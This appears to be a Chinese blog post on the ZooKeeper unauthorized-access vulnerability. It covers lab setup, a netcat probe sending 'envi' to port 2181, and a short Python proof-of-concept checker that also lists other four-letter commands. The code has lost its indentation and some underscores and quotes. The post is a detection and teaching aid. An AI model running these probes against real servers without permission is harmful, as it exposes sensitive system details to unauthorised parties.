ZooKeeper未授权访问漏洞总结

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

总结下常见的未授权漏洞

一、ZooKeeper未授权访问漏洞?

ZooKeeper是一个分布式的、开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。

它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

ZooKeeper默认开启2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获取系统大量的敏感信息,包括系统名称Java环境信息等。

二、复现

1.搭建环境

在Centos中分别执行以下命令,开启ZooKeeper
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
…/bin/zkServer.sh start # 启动
在这里插入图片描述

2.检测方法

kail下输入echo envi|nc 192.168.33.132 2181获取到结果证明存在此种漏洞
在这里插入图片描述

POC编写

可用os.open()执行系统命令进行检测或者

import socket

def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = “envi”
# envi
# dump
# reqs
# ruok
# stat
s.send(flag)
data = s.recv(1024)
s.close()
if ‘Environment’ in data:
return u"Zookeeper Unauthorized access"
except:
pass

def main():
ip = “” //这里改成你要验证的IP
print check(ip, 2181, 2)

if name == ‘main’:
main()

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值